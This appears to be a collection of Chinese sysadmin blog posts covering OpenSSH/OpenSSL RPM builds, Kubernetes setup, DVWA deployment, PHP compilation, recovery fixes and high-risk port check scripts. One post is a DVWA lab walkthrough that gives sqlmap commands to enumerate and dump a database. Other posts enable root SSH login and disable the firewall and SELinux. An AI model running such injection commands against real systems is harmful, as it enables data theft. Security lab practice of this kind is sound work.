环境

  • 硬件平台: PVE-KVM x86_64
  • 系统版本: CentOS 7.9 64bit
  • 当前软件版本: OpenSSH-7.4p1 OpenSSL-1.02K
  • 目标软件版本: OpenSSH-9.7p1 OpenSSL-1.1.1W

说明

  • OpenSSH-9.7p1依赖OpenSSL-1.1.1及以上版本, 请先升级OpenSSL, 参照这里
  • OpenSSH-8.6后默认为不允许root登录
  • 较新版本的CentOS7中 pam_stack.so模块已经被弃用删除, 请备份 /etc/pam.d/sshd
  • 默认允许使用PAM登录认证;
  • 默认允许使用X11Forwarding图形模块;
  • 需修改ssh_host_rsa_keyssh_host_ecdsa_keyssh_host_ed25519_key这三个文件的权限, OpenSSH-8.6之后缩小了这三个文件的权限为0600, 大于该权限将会导致SSHD启动失败

一、 OpenSSH rpm包构建

1.1 安装依赖

~]# yum install libXt libXt-devel imake gtk2-devel
~]# yum install rpm-build rpmlint rpmdevtools curl

1.2 rpmbuild 目录相关

注意:
下面两个操作请不要使用 root 用户操作

创建目录

~]$ mkdir -p ~/rpmbuild/{BUILD,BUILDROOT,RPMS,SOURCES,SPECS,SRPMS}

目录配置

~]$ echo "%_topdir %{getenv:HOME}/rpmbuild" > ~/.rpmmacros

  • %_topdir:RPM 构建的顶层目录宏
  • %{getenv:HOME}:获取用户主目录的环境变量
  • ~/.rpmmacros:用户 RPM 配置文件

1.3 下载源码

  • 下载 OpenSSH-9.7p1和x11-ssh-askpass-1.2.4.1源码到 ~/rpmbuild/SOURCES目录

    ~]$ curl -o ~/rpmbuild/SOURCES/openssh-9.7p1.tar.gz https://mirrors.aliyun.com/pub/OpenBSD/  OpenSSH/portable/openssh-9.7p1.tar.gz
    ~]$ curl -o ~/rpmbuild/SOURCES/x11-ssh-askpass-1.2.4.1.tar.gz https://src.fedoraproject.org/repo /pkgs/openssh/x11-ssh-askpass-1.2.4.1.tar.gz/8f2e41f3f7eaa8543a2440454637f3c3/ x11-ssh-askpass-1.2.4.1.tar.gz

1.4 配置 .SPEC文件

  • 从源码提取.SPEC 文件到SPEC目录

    ~]$ tar -xf ~/rpmbuild/SOURCES/openssh-9.7p1.tar.gz -C ~/rpmbuild/SPECS openssh-9.7p1/contrib/redhat/openssh.spec --strip-components=3 
  • 修改 .SPEC 文件 %pre server 区域新增如下配置, 备份ssh配置

    cp -Rf /etc/ssh{,.back}
  • 修改 .SPEC 文件 %post server 区域下面新增如下配置, 配置sshd

    sed -i -e "s/#PermitRootLogin prohibit-password/PermitRootLogin yes/g" /etc/ssh/sshd_config
    sed -i -e "s/#UsePAM no/UsePAM yes/g" /etc/ssh/sshd_config
    sed -i -e "s/#X11Forwarding no/X11Forwarding yes/g" /etc/ssh/sshd_config
    chmod +x /etc/init.d/sshd
    chmod 600 /etc/ssh/ssh_host_rsa_key
    chmod 600 /etc/ssh/ssh_host_ecdsa_key
    chmod 600 /etc/ssh/ssh_host_ed25519_key
  • 修改 .SPEC 文件 %install 保留原pam配置

    # 注释这行
    #install -m644 contrib/redhat/sshd.pam $RPM_BUILD_ROOT/etc/pam.d/sshd

    # 增加此行
    install -m644 /etc/pam.d/sshd $RPM_BUILD_ROOT/etc/pam.d/sshd
  • 修改%configure 选项, without_openssl选项关闭, 并添加openssl-1.1.1w的路径

    .... # 前面代码省略
    --with-ssl-dir=/usr/openssl \ # 根据 rpm 安装 openssl 的路径决定的
    # %if ! %{without_openssl}
    # --without-openssl \
    # %endif
    .... # 后面代码省略

1.5 检查 .SPEC 文件

如果没有 error就可以下一步构建了

[dev@pve-centos7 SPECS]$ rpmlint ./openssh.spec 
./openssh.spec:95: W: unversioned-explicit-obsoletes ssh
./openssh.spec:132: W: unversioned-explicit-obsoletes ssh-clients
./openssh.spec:137: W: unversioned-explicit-obsoletes ssh-server
./openssh.spec:147: W: unversioned-explicit-obsoletes ssh-extras
./openssh.spec:153: W: unversioned-explicit-obsoletes ssh-extras
./openssh.spec:280: W: macro-in-comment %{_bindir}
./openssh.spec:349: W: mixed-use-of-spaces-and-tabs (spaces: line 349, tab: line 208)
./openssh.spec: W: invalid-url Source1: http://www.jmknoble.net/software/x11-ssh-askpass/ x11-ssh-askpass-1.2.4.1.tar.gz <urlopen error unknown url type: socks5>
./openssh.spec: W: invalid-url Source0: https://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/ openssh-9.7p1.tar.gz ''
0 packages and 1 specfiles checked; 0 errors, 9 warnings.
[dev@pve-centos7 SPECS]$

1.6 构建 OpenSSH rpm包

~] $ rpmbuild -ba ~/rpmbuild/SPECS/openssh.spec

如下结果一般就没什么问题了

图

二、 更新 OpenSSH-9.7p1

2.1 输出rpm包详情

[dev@pve-centos7 rpmbuild]$ tree -L 3 RPMS/
RPMS/
└── x86_64
├── openssh-9.7p1-1.el7.x86_64.rpm
├── openssh-askpass-9.7p1-1.el7.x86_64.rpm
├── openssh-askpass-gnome-9.7p1-1.el7.x86_64.rpm
├── openssh-clients-9.7p1-1.el7.x86_64.rpm
├── openssh-debuginfo-9.7p1-1.el7.x86_64.rpm
├── openssh-server-9.7p1-1.el7.x86_64.rpm
├── openssl-1.1.1w-1.el7.x86_64.rpm
├── openssl-debuginfo-1.1.1w-1.el7.x86_64.rpm
└── openssl-devel-1.1.1w-1.el7.x86_64.rpm
1 directory, 9 files
[dev@pve-centos7 rpmbuild]$

2.2 rpm -Uvh 更新 OpenSSH

注意:
更新的前提是, openssl 已经升级至 openssl-1.1.1w 版本

  • 升级openssh的时候, 涉及openssl相关的组件:
    • 只需要升级 openssl-1.1.1w
    • openssl-devel可以不升级
    • openssl-libs 切记不能升级
# 注意 openssl 的版本
[root@pve-centos7 x86_64]# rpm -aq | grep openssl
openssl-libs-1.0.2k-26.el7_9.x86_64
openssl-1.1.1w-1.el7.x86_64
openssl-devel-1.0.2k-1.el7.x86_64
[root@pve-centos7 x86_64]#

# 更新 openssh
[root@pve-centos7 x86_64]# rpm -Uvh openssh-9.7p1-1.el7.x86_64.rpm openssh-server-9.7p1-1.el7.x86_64.rpm openssh-clients-9.7p1-1.el7.x86_64.rpm
Preparing... ################################# [100%]
Updating / installing...
1:openssh-9.7p1-1.el7 ################################# [ 17%]
2:openssh-server-9.7p1-1.el7 ################################# [ 33%]
3:openssh-clients-9.7p1-1.el7 ################################# [ 50%]
Cleaning up / removing...
4:openssh-clients-7.4p1-23.el7_9 ################################# [ 67%]
5:openssh-server-7.4p1-23.el7_9 ################################# [ 83%]
6:openssh-7.4p1-23.el7_9 ################################# [100%]
[root@pve-centos7 x86_64]#

2.3 重启 OpenSSH

注意:
操作不当会导致sshd服务无法启动, 请确保你有其他登录服务器的方式

systemctl daemon-reload
systemctl restart sshd

三、 常见问题

3.1 ssh升级成功但是登录失败

  • 报错: PAM unable to dlopen(/usr/lib64/security/pam_stack.so): /usr/lib64/security/pam_stack.so: cannot open shared object file

  • 原因: pam_stack.so 在较新版本的CentOS中已经弃用并删除

  • 解决: 不升级 /etc/pam.d/sshd 文件, 或者使用旧版本的文件替换

3.2 yum update 报错

  • openssl更新到了 openssl-1.1.1w, 但是对应的openssl-devel和openssl-libs没有更新, 版本的原因, 也不推荐更新这两个
  • 解决: /etc/yum.conf 添加 exclude=openssl

四、 附件

环境介绍

一、 制作 OpenSSL RPM 包

1.1 安装依赖

~]# yum install rpm-build rpmlint rpmdevtools
~]# yum install -y gcc gcc-c++ make perl perl-WWW-Curl

1.2 配置 rpmbuild 工作目录

注意:
下面两个操作请不要使用 root 用户操作

创建所需目录
~]$ mkdir -p ~/rpmbuild/{BUILD,BUILDROOT,RPMS,SOURCES,SPECS,SRPMS}

  • BUILD: 用于存放编译过程中生成的文件
  • BUILDROOT:用于存放编译后的根文件系统
  • RPMS:用于存放编译后的 RPM 包
  • SOURCES:用于存放源代码包
  • SPECS:用于存放 RPM 规范文件
  • SRPMS:用于存放源 RPM 包

RPM包构建的顶层目录配置
~]$ echo "%_topdir %{getenv:HOME}/rpmbuild" > ~/.rpmmacros

  • %_topdir:RPM 构建的顶层目录宏
  • %{getenv:HOME}:获取用户主目录的环境变量
  • ~/.rpmmacros:用户 RPM 配置文件

该命令将 %_topdir 宏设置为用户主目录下的 rpmbuild 目录,并将其写入用户 RPM 配置文件~/.rpmmacros中, 其目的如下两条

  • 简化 RPM 包的构建过程
  • 无需在每个 RPM 规范文件中指定 %_topdir 宏的值

1.3 将压缩包放至 ~/rpmbuild/SOURCES目录

~]$ curl -o ~/rpmbuild/SOURCES/openssl-1.1.1w.tar.gz https://www.openssl.org/source/openssl-1.1.1w.tar.gz

1.4 编写 SPEC 文件

~]$ vim ~/rpmbuild/SPECS/openssl.spec

name:       openssl     
Version: 1.1.1w
Release: 1%{?dist}
Summary: Utilities from the general purpose cryptography library with TLS implementation
Group: System Environment/Libraries
License: GPLv2+
URL: https://www.openssl.org/
Source0: https://www.openssl.org/source/%{name}-%{version}.tar.gz
BuildRequires: make gcc perl perl-WWW-Curl
Requires: %{name} = %{version}-%{release}
BuildRoot: %_topdir/BUILDROOT

%global openssldir /usr/openssl

%description
The OpenSSL toolkit provides support for secure communications between
machines.

%package devel
Summary: Secure Sockets Layer and cryptography static libraries and headers
Group: Development/Libraries
Requires: %{name} = %{version}-%{release}
%description devel
The OpenSSL devel tool

%prep
%setup -q

%build
./config --prefix=%{openssldir} --openssldir=%{openssldir}
make %{?_smp_mflags}

%install
[ "%{buildroot}" != "/" ] && %{__rm} -rf %{buildroot}
%make_install
mkdir -p %{buildroot}%{_bindir}
mkdir -p %{buildroot}%{_libdir}
ln -sf %{openssldir}/lib/libssl.so.1.1 %{buildroot}%{_libdir}
ln -sf %{openssldir}/lib/libcrypto.so.1.1 %{buildroot}%{_libdir}
ln -sf %{openssldir}/bin/openssl %{buildroot}%{_bindir}

%clean
[ "%{buildroot}" != "/" ] && %{__rm} -rf %{buildroot}

%files
%{openssldir}
%defattr(-,root,root)
%{_bindir}/openssl
%{_libdir}/libcrypto.so.1.1
%{_libdir}/libssl.so.1.1


%files devel
%{openssldir}/include/*
%defattr(-,root,root)


%post -p /sbin/ldconfig
%postun -p /sbin/ldconfig

%changelog
* Fri Mar 08 2024 wanghuaizhuang <[email protected]>
- Build for CentOS7.9

代码附件

openssl-1.1.1w.spec

1.5 验证 SPEC 文件

没有 error 即可
~]$ rpmlint ~/rpmbuild/SPECS/openssl.spec

1.6 构建

~] $ rpmbuild -D "version 1.1.1w" -ba ~/rpmbuild/SPECS/openssl.spec

参数解释:

  • ba 构建源代码rpm包和二进制rpm包
  • bb 只构建二进制rpm包
  • bs 只构建源代码rpm包
  • bp 执行至%prep阶段(解压源并应用补丁)
  • bc 执行至%build阶段(%prep,然后编译)
  • bi 执行至%install阶段(%prep,%build,然后安装)
  • bl 验证%files部分,查看文件是否存在

图

查看构建完成的rpm包

[dev@pve-centos7 ~]$ tree ~/rpmbuild/RPMS/
/home/dev/rpmbuild/RPMS/
└── x86_64
├── openssl-1.1.1w-1.el7.x86_64.rpm
├── openssl-debuginfo-1.1.1w-1.el7.x86_64.rpm
└── openssl-devel-1.1.1w-1.el7.x86_64.rpm

1 directory, 3 files
[dev@pve-centos7 ~]$

1.7 使用上述生成的rpm包更新本地openssl

卸载和安装都要指定 --nodeps
这里让我郁闷 (>_<) , 指定了 requires, 然后安装的时候 --nodeps

[root@pve-centos7 ~]# 
[root@pve-centos7 ~]# rpm -aq | grep openssl
openssl-1.0.2k-26.el7_9.x86_64
openssl-libs-1.0.2k-26.el7_9.x86_64
openssl-devel-1.0.2k-26.el7_9.x86_64
[root@pve-centos7 ~]# rpm -e openssl-1.0.2k-26.el7_9.x86_64 --nodeps
[root@pve-centos7 ~]#
[root@pve-centos7 ~]# rpm -ivh /home/dev/rpmbuild/RPMS/x86_64/openssl-1.1.1w-1.el7.x86_64.rpm --nodeps
Preparing... ################################# [100%]
Updating / installing...
1:openssl-1.1.1w-1.el7 ################################# [100%]
[root@pve-centos7 ~]#
[root@pve-centos7 ~]# openssl version
OpenSSL 1.1.1w 11 Sep 2023
[root@pve-centos7 ~]#

一些说明

上述 SPEC文件只构建了 opensslopenssl-developenssl-debuginfo三个包, 而且 更新之后 man openssl 会提示找不到手册
对比网上其他的SPEC文件少了很多内容, 后续会继续补充

下面是某个openssl的SPEC文件
图

二、 更新 OpenSSL

  • 卸载旧版本openssl
    rpm -e openssl --nodeps
  • 安装新版openssl
    rpm -ivh openss-1.1.1w-1.el7.rpm

零、 环境介绍

  • HW: 2c2g 20GB
  • OS: Rocky Linux 9.2
  • Master: 192.168.128.200
  • Node1: 192.168.128.204
  • Node2: 192.168.128.205

一、 基础环境

  • 一台或多台服务器
  • 内存2GB或更多,CPU2核或更多,硬盘30GB或更多
  • 所有机器之间网络互通
  • 可以访问外网,需要拉取镜像
  • 禁止swap分区

1.1 禁止 SWAP 分区

编辑配置文件: /etc/fstab 注释相关分区, 重启系统

1.2 关闭防火墙

  • 三台服务器都需配置
    systemctl stop firewalld iptables
    systemctl disable firewalld iptables

1.3 关闭 SeLinux

  • 三台服务器都需配置
    sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config

1.4 配置主机名

  • hostnamectl set-hostname k8s-master
主机 ip
k8s-master 192.168.128.200
k8s-node1 192.168.128.204
k8s-node2 192.168.128.205

1.5 配置解析

  • 三台服务器都需配置

    cat >> /etc/hosts << EOF
    192.168.128.200 k8s-master
    192.168.128.204 k8s-node1
    192.168.128.205 k8s-node2
    EOF

1.6 配置时间同步

  • 三台服务器都需配置
    systemctl enable chronyd --now

1.7 配置ipvs负载均衡

  • master 节点配置
    路径不同于CentOS7 的 /etc/sysconfig/modules

    # 安装相关软件包
    yum install ipset ipvsadm

    # 开启 ip_vs 配置文件
    cat > /etc/modules-load.d/ipvs.conf <<EOF
    ip_vs
    ip_vs_rr
    ip_vs_wrr
    ip_vs_sh
    nf_conntrack_ipv4
    EOF

    # 内核重新加载
    systemctl restart systemd-modules-load.service

    # 验证相关模块是否加载
    [root@k8s-master]# lsmod | grep ip_vs
    ip_vs_sh 16384 0
    ip_vs_wrr 16384 0
    ip_vs_rr 16384 0
    ip_vs 233472 6 ip_vs_rr,ip_vs_sh,ip_vs_wrr
    nf_conntrack 212992 3 nf_nat,nft_ct,ip_vs
    nf_defrag_ipv6 24576 2 nf_conntrack,ip_vs
    libcrc32c 16384 5 nf_conntrack,nf_nat,nf_tables,xfs,ip_vs

1.8 开启网络转发和桥接

  • 三台服务器都需配置
    cat >> /etc/sysctl.conf << EOF
    net.ipv4.ip_forward = 1
    net.bridge.bridge-nf-call-iptables = 1
    net.bridge.bridge-nf-call-ip6tables = 1
    EOF
    sysctl -p

1.9 修改源

  • 三台服务器都需配置
    sudo sed -e 's|^mirrorlist=|#mirrorlist=|g' \
    -e 's|^#baseurl=http://dl.rockylinux.org/$contentdir|baseurl=https://mirror.nju.edu.cn/rocky|g' \
    -i.bak \
    /etc/yum.repos.d/rocky-extras.repo \
    /etc/yum.repos.d/rocky.repo

二、 containerd 部署 (二进制)

  • 三台服务器都需要部署

2.1 下载

https://github.com/containerd/containerd/releases

2.2 解压(not follow FHS)

tar xzvf containerd-1.6.2-linux-amd64.tar.gz -C /usr/local/containerd

2.3 systemd管理

[Unit]
Description=containerd container runtime
Documentation=https://containerd.io
After=network.target local-fs.target

[Service]
ExecStartPre=-/sbin/modprobe overlay
ExecStart=/usr/local/containerd/bin/containerd

Type=notify
Delegate=yes
KillMode=process
Restart=always
RestartSec=5

LimitNPROC=infinity
LimitCORE=infinity

TasksMax=infinity
OOMScoreAdjust=-999

[Install]
WantedBy=multi-user.target

systemctl daemon-reload
systemctl enable containerd --now
echo 'PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/containerd/bin"' > /etc/environment

2.4 可能遇到的问题

问题: containerd.service: Main process exited, code=exited, status=2/INVALIDARGUMENT
解决: rm -rf /var/lib/containerd

2.5 安装 runc

https://github.com/containernetworking/plugins/releases
mkdir -p /opt/cni/bin
tar -xzvf cni-plugins-linux-amd64-v1.1.1.tgz -C /opt/cni/bin

三、 containerd 安装 (yum)

containerd的官方yum源是由docker去维护的 😂😂😂😂(●’◡’●)(●’◡’●)(●’◡’●)
yum install -y yum-utils
yum-config-manager --add-repo https://download.docker.com/linux/rhel/docker-ce.repo
yum install containerd.io

四、 配置 cotainerd

4.1 生成配置文件

containerd config default > /etc/containerd/config.toml

kubeadm config images list
kubeadm config images pull --image-repository registry.aliyuncs.com/google_containers

kubeadm init \
--pod-network-cidr=172.16.0.0/16 \
--service-cidr=10.1.0.0/16 \
--image-repository registry.aliyuncs.com/google_containers \
--apiserver-advertise-address 192.168.255.10 \
--control-plane-endpoint dev.i.k8s.rondochen.com:8443 \
--upload-certs

二、 安装 k8s 组件

2.1 配置源

  • 三台服务器都需要操作
    cat >  /etc/yum.repos.d/kubernetes.repo << EOF
    [kubernetes]
    name=Kubernetes
    baseurl=https://mirrors.aliyun.com/kubernetes-new/core/stable/v1.28/rpm/
    enabled=1
    gpgcheck=1
    gpgkey=https://mirrors.aliyun.com/kubernetes-new/core/stable/v1.28/rpm/repodata/repomd.xml.key
    EOF

2.2 安装 K8S 软件包

  • 三台服务器都需要操作

yum install kubeadm kubelet kubectl kubernetes-cni cri-tools

2.3 配置 cri

  • 三台服务器都需要操作
    cat > /etc/crictl.yaml << EOF
    runtime-endpoint: unix:///run/containerd/containerd.sock
    image-endpoint: unix:///run/containerd/containerd.sock
    timeout: 10
    debug: true
    pull-image-on-create: false
    disable-pull-on-run: false
    EOF

一、 异常说明

某生产服务器 10.21.196.96 运行一个redis(容器), 存在高危漏洞, 历史遗留问题, 无法升级redis, 只能通过防火墙去限制redis端口的流量

无论怎么配置firewall, 对redis的6379端口就是不生效

二、 详情

2.1 猜测是因为容器的原因

添加容器相关接口:
firewall-cmd --zone=public --add-interface=docker0 --permanent
图
图

2.2 firewalld 添加接口报错

ERROR: '/usr/sbin/iptables-restore -w -n' failed: iptables-restore v1.8.5 (legacy): interface name `vethd6d63cd@if18' must be shorter than IFNAMSIZ (15)
图

添加接口的时候, 注意接口名称, ip link showifconfig 输出不一样

添加名称 vethd6d63cd@if18 这样的接口, 导致firewalld奔溃.

编辑配置文件: /etc/firewalld/zones/public.xml 删除<interface /> 重启 firewalld 即可

2.3 猜测 ipv6 的原因

同是ipv6, 2375端口就可以被firewalld控制, 6379不可以, 排除该选项!
图

2.4 关闭docker的iptables选项

编辑文件: /etc/docker/daemon.json

添加配置:

{
"iptables": false
}

重启docker后, firewall 可以正常控制端口流量.

三、 原因分析

下载了docker配置 "iptables": false 前后 iptables -nL 的输出

然而并没有什么不同.

一、 环境说明

靶机: 192.168.1.201 (DVWA 容器)
攻击: 192.168.1.15 (kali)
Security: Low

二、 SQL Injection

2.1 源码分析

  <?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

输入用户id, 参数传入之后没有任何过滤, 拼接成sql语句使用mysqli-query函数查询
测试 ' and 1=2, 根据 response 判断存在 字符串类型注入
图

这里使用Burp Suite
图

2.3 使用sqlmap对url进行检测

sudo sqlmap -u "http://192.168.1.201/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="PHPSESSID=e1vntltnfvu24qhi81a5rmuhm1; security=low"

图

存在以下可以注入的类型:
UNION query SQL injection(可联合查询注入)
Boolean-based blind SQL injection(布尔型注入)
Error-based SQL injection(报错型注入)
Time-based blind SQL injection(基于时间延迟注入)

枚举出 DBMS 所有数据库

sudo sqlmap -u "http://192.168.1.201/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="PHPSESSID=e1vntltnfvu24qhi81a5rmuhm1; security=low" \
-- dbs

图

枚举出 DBMS 数据库中的所有表

sudo sqlmap -u "http://192.168.1.201/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="PHPSESSID=e1vntltnfvu24qhi81a5rmuhm1; security=low" \
-D dvwa --tables

图

枚举出 DBMS 表中的所有列

sudo sqlmap -u "http://192.168.1.201/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="PHPSESSID=e1vntltnfvu24qhi81a5rmuhm1; security=low" \
-D dvwa -T --columns

图

枚举所有数据

sudo sqlmap -u "http://192.168.1.201/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="PHPSESSID=e1vntltnfvu24qhi81a5rmuhm1; security=low" \
-D dvwa -T --columns -a

图

一、 介绍

Damn Vulnerable Web Application (DVWA)(译注:可以直译为:”该死的”不安全Web应用程序),是一个编码差的、易受攻击的 PHP/MySQL Web应用程序。
它的主要目的是帮助信息安全专业人员在合法的环境中,练习技能和测试工具,帮助 Web 开发人员更好地了解如何加强 Web 应用程序的安全性,并帮助学生和教师在可控的教学环境中了解和学习 Web 安全技术。

DVWA的目的是通过简单明了的界面来练习一些最常见的 Web 漏洞,所练习的漏洞具有不同的难度级别。 请注意,此软件存在提示和无提示的漏洞。 这是特意为止。 我们鼓励您依靠自己的能力尝试并发现尽可能多的安全问题。

二、 部署

2.1 下载

https://github.com/digininja/DVWA

2.2 依赖安装

yum install httpd mariadb-server mariadb-client php php-mysqli php-gd

2.3 数据库配置 (mariadb)

create database dvwa;
create user dvwa@localhost identified by 'p@ssw0rd';
grant all on dvwa.* to dvwa@localhost;
flush privileges;

2.4 dvwa 配置

配置文件: config.ini.php

修改配置如下:

$_DVWA[ 'db_server'] = '127.0.0.1';
$_DVWA[ 'db_port'] = '3306';
$_DVWA[ 'db_user' ] = 'dvwa';
$_DVWA[ 'db_password' ] = 'p@ssw0rd';
$_DVWA[ 'db_database' ] = 'dvwa';

2.5 httpd 配置

将dvwa 解压后放至 /var/www/html 目录, 注意权限问题

三、 DVWA 配置

3.1 php 模块配置

可以看到有几个 Disabled 状态的模块

PHP function display_errors: Disabled
PHP function display_startup_errors: Disabled
PHP function allow_url_include: Disabled

修改 /etc/php.ini
找到对应的配置修改配置 On 即可

图

3.2 配置数据

点击下面的 create/Reset Database 按钮后, 重新登录 dvwa 即可
图

四、 常见问题

4.1 httpd 403 forbident

关闭 selinux: setenforce 0

4.2 DVWA system error

注意配置文件的路径和名称
路径: ./config 目录下
名称: config.inc.php

五、 docker 部署

5.1 获取镜像

docker pull vulnerables/web-dvwa

5.2 启动容器

docker run -d --rm -p 80:80 vulnerables/web-dvwa:latest

5.3 allow_url_include 配置

路径: 容器:/etc/php/7.0/apache2/php.ini
使用docker cp 将文件复制出来, 修改完文件后, 复制进容器内替换文件, 然后重启容器.

一、 编译安装php8.3

  • 依赖
    yum -y install php-mcrypt libmcrypt-devel libxml2 libxml2-devel openssl openssl-devel curl-devel libjpeg-devel libpng-devel freetype-devel libmcrypt-devel libmemcached oniguruma-devel

  • 下载
    https://www.php.net/downloads.php

  • 解压
    tar -zxvf php-8.3.2.tar.gz

  • 生成配置
    ./buildconf

  • 编译选项

    ./configure  --enable-debug  --prefix=/usr/local/php-8.3.2 \
    --with-config-file-path=/usr/local/php-8.3.2/etc \
    --with-mysqli=mysqlnd --with-pdo-mysql=mysqlnd \
    --with-mysql-sock=/usr/local/mysql-5.7.44-el7-x86_64/mysql.sock \
    --enable-mysqlnd --with-iconv --enable-bcmath --enable-shmop --enable-sysvsem \
    --enable-mbregex --enable-fpm --enable-mbstring --enable-ftp --with-openssl \
    --enable-pcntl --enable-sockets --enable-soap --with-gettext \
    --with-curl

    注意参数: --with-mysql-sock=/usr/local/mysql-5.7.44-el7-x86_64/mysql.sock

  • 编译安装
    make -j4 && make test -j4 && make install

二、 配置PHP

2.1 php 配置文件

从源码里复制一份到安装目录
cp {path_2_your_php_source}/php.ini-development /usr/local/php/etc/php.ini

2.2 php-fpm 配置文件

cd /usr/local/php/etc/php-fpm.d/ && cp www.conf.default www.conf
cd /usr/local/php/etc && cp php-fpm.conf.default php-fpm.conf

2.3 修改 php-fpm 配置

文件: /usr/local/php/etc/php-fpm.conf
配置: pid = run/php-fpm.pid

2.4 修改 www.conf 配置

文件: /usr/local/php/etc/php-fpm.d/www.conf
配置: listen = 127.0.0.1:9000 (与nginx中的配置保持一致)

三、 配置 systemd

vim php-fpm.service

[Unit]
Description=The PHP FastCGI Process Manager
After=syslog.target network.target

[Service]
Type=simple
PIDFile=/usr/local/php/var/run/php-fpm.pid
ExecStart=/usr/local/php/sbin/php-fpm --nodaemonize --fpm-config /usr/local/php/etc/php-fpm.conf
ExecReload=/bin/kill -USR2 $MAINPID
ExecStop=/bin/kill -SIGINT $MAINPID

[Install]
WantedBy=multi-user.target

systemctl daemon-reload && systemctl enable php-fpm --now

3.1 Nginx 配置

vim php.conf

server {
listen 4433 default_server;
listen [::]:4433 default_server;
server_name 192.168.1.201;
root /var/www/;

location / {
index index.php index.html index.htm;
}

error_page 404 /404.html;
location = /40x.html {
}

error_page 500 502 503 504 /50x.html;
location = /50x.html {
}

location ~ \.php$ {
fastcgi_pass 127.0.0.1:19000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}

3.2 php_info

vim /var/www/index.php

<?php
phpinfo();

3.3 验证

图

initramfs 介绍

initramfs 全称为”initial RAM file system”,是一个临时的根文件系统,用于在 Linux 启动过程中初始化和加载真正的根文件系统之前提供必要的工具和驱动程序。它通常被用于启动过程中加载必要的驱动程序或工具,以便在切换到真正的根文件系统之前进行必要的准备工作。

Ubuntu 启动没有正常进入系统, 却进入了 initramfs 通常是因为某种问题阻止了正常启动, 可能原因如下:

  • 文件系统损坏
  • 硬件问题
  • 驱动程序问题
  • 引导程序配置错误

解决

根据上文的提示:

failure File system check of ro ot filesystem failed
The root filesystem on /dev/mapper/ubuntu–vg-ubuntu–lv requires a manual fsck

执行手动修复:
fsck /dev/mapper/ubuntu--vg-ubuntu--lv -y

initramfs下重启系统:
exit

图

环境

pve(master): 192.168.1.200

pve(vm-centos): 192.168.1.201
pve(vm-Ubuntu): 192.168.1.109
pve(vm-windows7): 192.168.1.61

一、 起因

pve-matser 上执行了 apt dist-upgrade

提示我: You are attempting to remove the meta-package 'proxmox-ve'!

图

想都没想按照提示执行了, 结果pve控制台就没了. qm等相关命令也没了.

二、 解决

思路: 根据日志提示和lsblk相关的输出, 判断只是删除了相关的pev包, 源数据还在, 安装相关的pve包回去即可

按照日志和apt log 提示, 找到了被删除的包

2.1 添加源

echo "deb [arch=amd64] http://download.proxmox.com/debian/pve buster pve-no-subscription" > /etc/apt/sources.list.d/pve-install-repo.list

2.2 添加 gpg key

wget http://download.proxmox.com/debian/proxmox-ve-release-6.x.gpg -O /etc/apt/trusted.gpg.d/proxmox-ve-release-6.x.gpg

chmod +r /etc/apt/trusted.gpg.d/proxmox-ve-release-6.x.gpg

2.3 安装 Proxmox VE 包

apt install proxmox-ve postfix open-iscsi

2.4 相关报错 pve-container : Depends: binutils but it is not installable

我是原生安装的pve, 不是从debian过来的, 所以缺少相关的包. 添加debian的源到source.list之后update即可

2.4 相关日志

/var/log/syslog

2.5 IO errors

一般是磁盘满了, 清理下磁盘

仅限 tcp 端口

一、 Windows/Winserver

:: @author  wanghuaizhuang
:: @date 2024-2-29
:: @version V1.0

:: get the high risk ports on windows/winserver
:: usage: right-click and run this script as administrator

@echo off
setlocal enabledelayedexpansion

:: set high risk ports
set "ports=21 22 23 25 53 69 110 111 135 139 143 161 389 445 873 1025 1099 1433 1521 2049 2181 2222 2375 2379 2888 3128 3306 3389 3690 3888 4000 4040 4440 4848 4899 5000 5005 5432 5601 5631 5632 5900 5984 6123 6379 7001 7051 7077 7180 7182 7848 8019 8020 8042 8048 8051 8069 8080 8081 8083 8086 8088 8161 8443 8649 8848 8880 8888 9000 9001 9042 9043 9083 9092 9100 9200 9300 9990 10000 11000 11111 11211 18080 19888 20880 25000 25010 27017 27018 28017 50030 50060 50070 50090 60000 60010 60030"

for %%p in (%ports%) do (
netstat -ano | findstr LISTEN | findstr /c:":%%p " >nul
if errorlevel 1 (
echo High Risk Port %%p is not listening. > nul
) else (
echo High Risk Port %%p is listening
set count=0
for /f "tokens=5" %%a in ('netstat -aon ^| findstr ":%%p " ^| findstr "LISTENING"') do (
if !count! equ 0 (
wmic process where processid="%%a" get processid, executablepath
set /a count+=1
)
)
echo "------------------------------------------------------------------"

)
)
pause



参数说明:

  • /c: 完全匹配
  • ":%%p " –> ":139 " (注意空格)避免较长端口号中间包含139
  • errorlevel 1 判断命令执行的返回
  • bat同级目录输出文件

二、 Linux

## get high risk ports on Linux

## @author wanghuaizhuang
## @date 2024-4-8
## @version V2.0

#! /bin/bash

# high-risk ports
valid_ports="21 22 23 25 53 69 110 111 135 139 143 161 389 445 873 1025 1099 1433 1521 2049 2181 2222 2375 2379 2888
3128 3306 3389 3690 3888 4000 4040 4440 4848 4899 5000 5005 5432 5601 5631 5632 5900 5984 6123 6379 7001 7051 7077 7180 7182 7848 8019 8020 8042 8048 8051 8069 8080 8081 8083 8086 8088 8161
